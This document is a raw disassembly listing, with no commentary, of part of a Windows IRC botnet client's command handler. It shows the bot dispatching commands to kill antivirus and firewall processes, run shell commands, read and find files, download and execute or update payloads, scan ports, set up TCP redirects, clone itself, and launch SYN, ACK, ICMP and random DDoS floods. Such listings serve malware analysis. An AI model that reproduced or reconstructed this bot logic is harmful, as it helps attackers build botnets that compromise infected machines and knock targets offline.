		jz	loc_40C44C
		push	3
		mov	edi, eax
		mov	esi, offset aKp	; "kp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C44C
		push	0Ch
		mov	edi, eax
		mov	esi, offset aKilldelproc ; "killdelproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C404
		push	4
		mov	edi, eax
		mov	esi, offset aKdp ; "kdp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C404
		push	5
		mov	edi, eax
		mov	esi, offset aKill ; "kill"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C3A3
		push	3
		mov	edi, eax
		mov	esi, offset aKi	; "ki"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C3A3
		push	7
		mov	edi, eax
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C351
		push	4
		mov	edi, eax
		mov	esi, offset aDel ; "del"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C351
		push	5
		mov	edi, eax
		mov	esi, offset aList_0 ; "list"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C331
		push	3
		mov	edi, eax
		mov	esi, offset aLi	; "li"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C331
		push	8
		mov	edi, eax
		mov	esi, offset aMirccmd ; "mirccmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C2B8
		push	5
		mov	edi, eax
		mov	esi, offset aMirc ; "mirc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C2B8
		push	4
		mov	edi, eax
		mov	esi, offset aCmd ; "cmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C25C
		push	3
		mov	edi, eax
		mov	esi, offset aCm	; "cm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C25C
		push	9
		mov	edi, eax
		mov	esi, offset aReadfile ;	"readfile"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C1C8
		push	3
		mov	edi, eax
		mov	esi, offset aRf	; "rf"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C1C8
		push	4
		mov	edi, eax
		mov	esi, offset aNet ; "net"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40A872
		xor	eax, eax
		cmp	dword_435948, eax
		jz	short loc_40A5F9
		cmp	dword_435970, eax
		jz	short loc_40A5F9
		push	offset aNetFailedToLoa ; "[NET]: Failed	to load	advapi32.dll or	n"...
		jmp	loc_40A867
; ---------------------------------------------------------------------------


loc_40A5F9:				; CODE XREF: sub_408A18+1BCDj
					; sub_408A18+1BD5j
		cmp	[ebp+var_14], eax
		jz	loc_40C2FC
		mov	eax, [ebp+ebx+var_A0]
		and	[ebp+arg_0], 0
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	short loc_40A622
		push	eax
		push	[ebp+var_14]
		call	sub_4150B0
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax


loc_40A622:				; CODE XREF: sub_408A18+1BFAj
		mov	edx, [ebp+var_C]
		push	6
		mov	edi, edx
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A690
		cmp	[ebp+var_10], eax
		jz	short loc_40A65E
		push	[ebp+arg_0]
		push	3


loc_40A63F:				; CODE XREF: sub_408A18+1C8Dj
					; sub_408A18+1CA4j ...
		call	sub_4077A8
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_4145E5
		add	esp, 14h
		jmp	loc_40C2FC
; ---------------------------------------------------------------------------


loc_40A65E:				; CODE XREF: sub_408A18+1C20j
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_406EE3
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40A686
		push	offset aNetServiceList ; "[NET]: Service list completed."
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A686:				; CODE XREF: sub_408A18+1C62j
		push	offset aNetServiceLi_0 ; "[NET]: Service list failed."
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A690:				; CODE XREF: sub_408A18+1C1Bj
		push	5
		mov	edi, edx
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A6A7
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40A63F
; ---------------------------------------------------------------------------


loc_40A6A7:				; CODE XREF: sub_408A18+1C86j
		push	6
		mov	edi, edx
		mov	esi, offset aPause ; "pause"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A6BE
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40A63F
; ---------------------------------------------------------------------------


loc_40A6BE:				; CODE XREF: sub_408A18+1C9Dj
		push	9
		mov	edi, edx
		mov	esi, offset aContinue ;	"continue"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A6D8
		push	[ebp+arg_0]
		push	6
		jmp	loc_40A63F
; ---------------------------------------------------------------------------


loc_40A6D8:				; CODE XREF: sub_408A18+1CB4j
		push	7
		mov	edi, edx
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A6F2
		push	[ebp+arg_0]
		push	1
		jmp	loc_40A63F
; ---------------------------------------------------------------------------


loc_40A6F2:				; CODE XREF: sub_408A18+1CCEj
		push	6
		mov	edi, edx
		mov	esi, offset aShare ; "share"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A776
		cmp	[ebp+var_10], eax
		jz	short loc_40A742
		cmp	[ebp+var_458], al
		jz	short loc_40A717
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_40A723
; ---------------------------------------------------------------------------


loc_40A717:				; CODE XREF: sub_408A18+1CF5j
		push	[ebp+ebx+var_9C]
		push	[ebp+var_10]
		push	0


loc_40A723:				; CODE XREF: sub_408A18+1CFDj
		call	sub_407820
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_4145E5
		add	esp, 18h
		jmp	loc_40C2FC
; ---------------------------------------------------------------------------


loc_40A742:				; CODE XREF: sub_408A18+1CEDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4078DE
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40A76C
		push	offset aNetShareListCo ; "[NET]: Share list completed."
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A76C:				; CODE XREF: sub_408A18+1D48j
		push	offset aNetShareListFa ; "[NET]: Share list failed."
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A776:				; CODE XREF: sub_408A18+1CE8j
		push	5
		mov	edi, edx
		mov	esi, offset aUser ; "user"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40A818
		cmp	[ebp+var_10], eax
		jz	short loc_40A7E4
		cmp	[ebp+var_458], al
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		jz	short loc_40A7AB
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_40A7C5
; ---------------------------------------------------------------------------


loc_40A7AB:				; CODE XREF: sub_408A18+1D89j
		mov	ebx, [ebp+ebx+var_9C]
		test	ebx, ebx
		jz	short loc_40A7BE
		push	ebx
		push	[ebp+var_10]
		push	0
		jmp	short loc_40A7C5
; ---------------------------------------------------------------------------


loc_40A7BE:				; CODE XREF: sub_408A18+1D9Cj
		push	0
		push	[ebp+var_10]
		push	2


loc_40A7C5:				; CODE XREF: sub_408A18+1D91j
					; sub_408A18+1DA4j
		call	sub_4079FD
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_4145E5
		add	esp, 24h
		jmp	loc_40C2FC
; ---------------------------------------------------------------------------


loc_40A7E4:				; CODE XREF: sub_408A18+1D75j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_407AC7
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40A80E
		push	offset aNetUserListCom ; "[NET]: User list completed."
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A80E:				; CODE XREF: sub_408A18+1DEAj
		push	offset aNetUserListFai ; "[NET]: User list failed."
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A818:				; CODE XREF: sub_408A18+1D6Cj
		push	5
		mov	edi, edx
		mov	esi, offset aSend ; "send"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A862
		cmp	[ebp+var_10], eax
		jz	short loc_40A85B
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4076EC
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		jmp	loc_40C2FC
; ---------------------------------------------------------------------------


loc_40A85B:				; CODE XREF: sub_408A18+1E13j
		push	offset aNetNoMessageSp ; "[NET]: No message specified."
		jmp	short loc_40A867
; ---------------------------------------------------------------------------


loc_40A862:				; CODE XREF: sub_408A18+1E0Ej
		push	offset aNetCommandUnkn ; "[NET]: Command unknown."


loc_40A867:				; CODE XREF: sub_408A18+1BDCj
					; sub_408A18+1E48j
		lea	eax, [ebp+var_2F0]
		jmp	loc_40C2F4
; ---------------------------------------------------------------------------


loc_40A872:				; CODE XREF: sub_408A18+1BBFj
		push	8
		mov	edi, eax
		mov	esi, offset aGethost ; "gethost"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0E3
		push	3
		mov	edi, eax
		mov	esi, offset aGh	; "gh"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0E3


loc_40A89A:				; DATA XREF: .data:0042CD94o
					; .data:0042CDD8o ...
		push	0Bh
		mov	edi, eax
		mov	esi, offset aAvfwkiller	; "avfwkiller"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40A9A0
		mov	edi, [ebp+var_C]
		push	6
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40A973
		lea	eax, [ebp+var_2F0]
		push	offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active."
		push	eax
		call	sub_4145E5
		push	[ebp+ebx+var_A0]
		xor	edi, edi
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		push	1
		push	edi
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4126A7
		push	edi
		lea	eax, [ebp+var_2F0]
		push	1
		push	eax
		call	sub_412471
		add	esp, 34h
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40861B
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		imul	esi, 234h
		cmp	eax, edi
		mov	dword_436694[esi], eax
		jnz	short loc_40A94C
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW	killer th"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40A94C:				; CODE XREF: sub_408A18+1F17j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	loc_408C96
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		jmp	loc_40D19D
; ---------------------------------------------------------------------------


loc_40A973:				; CODE XREF: sub_408A18+1EA5j
		mov	edi, [ebp+var_C]
		push	5
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_408C96
		push	[ebp+ebx+var_A0]
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_408A18+1E90j
		mov	ecx, [ebp+ebx+var_A0]
		test	ecx, ecx
		mov	[ebp+var_10], ecx
		jz	loc_408C96
		push	9
		mov	edi, eax
		mov	esi, offset aAddalias ;	"addalias"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C070
		push	3
		mov	edi, eax
		mov	esi, offset aAa	; "aa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C070
		push	8
		mov	edi, eax
		mov	esi, offset aPrivmsg_0 ; "privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C005
		push	3
		mov	edi, eax
		mov	esi, offset aPm_0 ; "pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C005
		push	7
		mov	edi, eax
		mov	esi, offset aAction ; "action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF82
		push	2
		mov	edi, eax
		mov	esi, offset aA_1 ; "a"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF82
		push	6
		mov	edi, eax
		mov	esi, offset aCycle ; "cycle"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF1C
		push	3
		mov	edi, eax
		mov	esi, offset aCy	; "cy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BF1C
		push	5
		mov	edi, eax
		mov	esi, offset aMode ; "mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BEE2
		push	2
		mov	edi, eax
		mov	esi, offset aM	; "m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BEE2
		push	6
		mov	edi, eax
		mov	esi, offset aC_raw ; "c_raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BE73
		push	4
		mov	edi, eax
		mov	esi, offset aC_r ; "c_r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BE73
		push	7
		mov	edi, eax
		mov	esi, offset aC_mode ; "c_mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDED
		push	4
		mov	edi, eax
		mov	esi, offset aC_m ; "c_m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BDED
		push	7
		mov	edi, eax
		mov	esi, offset aC_nick ; "c_nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD7C
		push	4
		mov	edi, eax
		mov	esi, offset aC_n ; "c_n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD7C
		push	7
		mov	edi, eax
		mov	esi, offset aC_join ; "c_join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD54
		push	4
		mov	edi, eax
		mov	esi, offset aC_j ; "c_j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BD54
		push	7
		mov	edi, eax
		mov	esi, offset aC_part ; "c_part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BCEE
		push	4
		mov	edi, eax
		mov	esi, offset aC_p ; "c_p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BCEE
		push	7
		mov	edi, eax
		mov	esi, offset aRepeat ; "repeat"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BC2A
		push	3
		mov	edi, eax
		mov	esi, offset aRp	; "rp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BC2A
		push	6
		mov	edi, eax
		mov	esi, offset aDelay ; "delay"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB8D
		push	3
		mov	edi, eax
		mov	esi, offset aDe	; "de"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BB8D
		push	7
		mov	edi, eax
		mov	esi, offset aUpdate ; "update"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B9B6
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B9B6
		push	8
		mov	edi, eax
		mov	esi, offset aExecute ; "execute"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B913
		push	2
		mov	edi, eax
		mov	esi, offset aE	; "e"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B913
		push	9
		mov	edi, eax
		mov	esi, offset aFindfile ;	"findfile"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B803
		push	3
		mov	edi, eax
		mov	esi, offset aFf	; "ff"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B803
		push	7
		mov	edi, eax
		mov	esi, offset aRename ; "rename"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B7AB
		push	3
		mov	edi, eax
		mov	esi, offset aMv	; "mv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B7AB
		push	0Ah
		mov	edi, eax
		mov	esi, offset aIcmpflood ; "icmpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B679
		push	5
		mov	edi, eax
		mov	esi, offset aIcmp ; "icmp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B679
		mov	ecx, [ebp+ebx+var_9C]
		test	ecx, ecx
		mov	[ebp+arg_0], ecx
		jz	loc_408C96
		push	6
		mov	edi, eax
		mov	esi, offset aClone_0 ; "clone"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B58B
		push	2
		mov	edi, eax
		mov	esi, offset aC	; "c"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B58B
		push	9
		mov	edi, eax
		mov	esi, offset aDdos_syn ;	"ddos.syn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B468
		push	9
		mov	edi, eax
		mov	esi, offset aDdos_ack ;	"ddos.ack"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B468
		push	0Ch
		mov	edi, eax
		mov	esi, offset aDdos_random ; "ddos.random"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B468
		push	9
		mov	edi, eax
		mov	esi, offset aSynflood ;	"synflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B37B
		push	4
		mov	edi, eax
		mov	esi, offset aSyn ; "syn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B37B
		push	9
		mov	edi, eax
		mov	esi, offset aDownload ;	"download"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B1D9
		push	3
		mov	edi, eax
		mov	esi, offset aDl	; "dl"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B1D9
		push	9
		mov	edi, eax
		mov	esi, offset aRedirect ;	"redirect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B0DC
		push	3
		mov	edi, eax
		mov	esi, offset aRd	; "rd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40B0DC
		push	5
		mov	edi, eax
		mov	esi, offset aScan ; "scan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AFE6
		push	3
		mov	edi, eax
		mov	esi, offset aSc	; "sc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AFE6
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_privmsg ; "c_privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AEF0
		push	5
		mov	edi, eax
		mov	esi, offset aC_pm ; "c_pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AEF0
		push	9
		mov	edi, eax
		mov	esi, offset aC_action ;	"c_action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_40ADBC
		push	4
		mov	edi, eax
		mov	esi, offset dword_426F90
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_409EA7


loc_40ADBC:				; CODE XREF: sub_408A18+238Ej
		push	[ebp+var_C]
		call	sub_414972
		imul	eax, 234h
		cmp	byte_436698[eax], 0
		pop	ecx
		jz	loc_40E538
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40E538
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+1]


loc_40ADE9:				; CODE XREF: sub_408A18+23D6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40ADE9
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+1]


loc_40ADFA:				; CODE XREF: sub_408A18+23E7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40ADFA
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_40AE0B:				; CODE XREF: sub_408A18+23F8j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AE0B
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_4150B0
		mov	esi, eax
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset dword_426F84
		push	eax
		call	sub_4145E5
		add	esp, 14h
		test	esi, esi
		jz	loc_40E538
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	loc_40E538
		push	edi
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538
		xor	ebx, ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_10]
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056FB
		push	edi
		call	sub_414972
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_436480[eax], 73h
		jnz	loc_40E538
		push	esi
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_436698
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_40AEC6:				; CODE XREF: sub_408A18+25C9j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		push	ebx
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		jmp	loc_40D175
; ---------------------------------------------------------------------------


loc_40AEF0:				; CODE XREF: sub_408A18+2366j
					; sub_408A18+237Aj
		push	[ebp+var_C]
		call	sub_414972
		imul	eax, 234h
		cmp	byte_436698[eax], 0
		pop	ecx
		jz	loc_40E538
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40E538
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+1]


loc_40AF1D:				; CODE XREF: sub_408A18+250Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40AF1D
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+1]


loc_40AF2E:				; CODE XREF: sub_408A18+251Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AF2E
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_40AF3F:				; CODE XREF: sub_408A18+252Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AF3F
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_4150B0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40E538
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jle	loc_40E538
		push	edi
		call	sub_414972
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40E538
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_10]
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		push	dword_43668C[eax]
		call	sub_4056FB
		push	edi
		call	sub_414972
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_436480[eax], 73h
		jnz	loc_40E538
		push	esi
		push	edi
		call	sub_414972
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_436698
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_40AEC6
; ---------------------------------------------------------------------------


loc_40AFE6:				; CODE XREF: sub_408A18+233Ej
					; sub_408A18+2352j
		push	[ebp+var_C]
		call	dword_43585C	; inet_addr
		push	[ebp+var_10]
		mov	[ebp+var_308], eax
		call	sub_414972
		push	[ebp+arg_0]
		mov	[ebp+var_314], eax
		call	sub_414972
		mov	edi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_A0]
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_394]
		push	eax
		mov	[ebp+var_398], edi
		call	sub_414670
		mov	eax, [ebp+var_8]
		mov	ebx, [ebp+var_4]
		add	esp, 14h
		push	[ebp+var_310]
		mov	[ebp+var_300], ebx
		push	[ebp+var_314]
		mov	[ebp+var_2FC], eax
		push	[ebp+var_308]
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with	d"...
		push	eax
		call	sub_4145E5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	9
		push	eax
		call	sub_412471
		add	esp, 20h
		mov	[ebp+var_30C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_398]
		push	eax
		push	offset sub_40FE55
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_30C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B0CF
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		jmp	loc_40B54C
; ---------------------------------------------------------------------------


loc_40B0C7:				; CODE XREF: sub_408A18+26BDj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B0CF:				; CODE XREF: sub_408A18+269Cj
		cmp	[ebp+var_2F8], esi
		jz	short loc_40B0C7
		jmp	loc_40B55B
; ---------------------------------------------------------------------------


loc_40B0DC:				; CODE XREF: sub_408A18+2316j
					; sub_408A18+232Aj
		push	[ebp+var_C]
		call	sub_414972
		push	7Fh
		push	[ebp+var_10]
		mov	[ebp+var_F0C], eax
		lea	eax, [ebp+var_1010]
		push	eax
		call	sub_414670
		push	[ebp+arg_0]
		call	sub_414972
		push	[ebp+var_A0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_F10], eax
		lea	eax, [ebp+var_F90]
		push	80h
		push	eax
		mov	[ebp+var_1018],	esi
		call	sub_41483D
		mov	eax, [ebp+var_8]
		mov	ebx, [ebp+var_4]
		add	esp, 20h
		push	[ebp+var_F10]
		mov	[ebp+var_EFC], eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	[ebp+var_F0C]
		mov	[ebp+var_F00], ebx
		push	esi
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
		push	eax
		call	sub_4145E5
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_2F0]
		push	11h
		push	eax
		call	sub_412471
		add	esp, 24h
		mov	[ebp+var_F08], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_1018]
		push	eax
		push	offset sub_40EF12
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_F08]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40B1CC
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFailed ; "[REDIRECT]: Failed to	start redirection"...
		jmp	loc_40B33C
; ---------------------------------------------------------------------------


loc_40B1C4:				; CODE XREF: sub_408A18+27BAj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40B1CC:				; CODE XREF: sub_408A18+2799j
		cmp	[ebp+var_EF8], edi
		jz	short loc_40B1C4
		jmp	loc_40B34B
; ---------------------------------------------------------------------------


loc_40B1D9:				; CODE XREF: sub_408A18+22EEj
					; sub_408A18+2302j
		mov	esi, 0FFh
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_E64]
		push	eax
		call	sub_414670
		push	[ebp+arg_0]
		xor	edi, edi
		mov	[ebp+var_B60], edi
		call	sub_414972
		mov	[ebp+var_B5C], eax
		mov	eax, [ebp+ebx+var_98]
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_40B226
		push	10h
		push	edi
		push	eax
		call	sub_415409
		add	esp, 0Ch
		mov	[ebp+var_B54], eax
		jmp	short loc_40B22C
; ---------------------------------------------------------------------------


loc_40B226:				; CODE XREF: sub_408A18+27F8j
		mov	[ebp+var_B54], edi


loc_40B22C:				; CODE XREF: sub_408A18+280Cj
		mov	ebx, [ebp+ebx+var_94]
		cmp	ebx, edi
		jz	short loc_40B246
		push	ebx
		call	sub_414972
		pop	ecx
		mov	[ebp+var_B58], eax
		jmp	short loc_40B24C
; ---------------------------------------------------------------------------


loc_40B246:				; CODE XREF: sub_408A18+281Dj
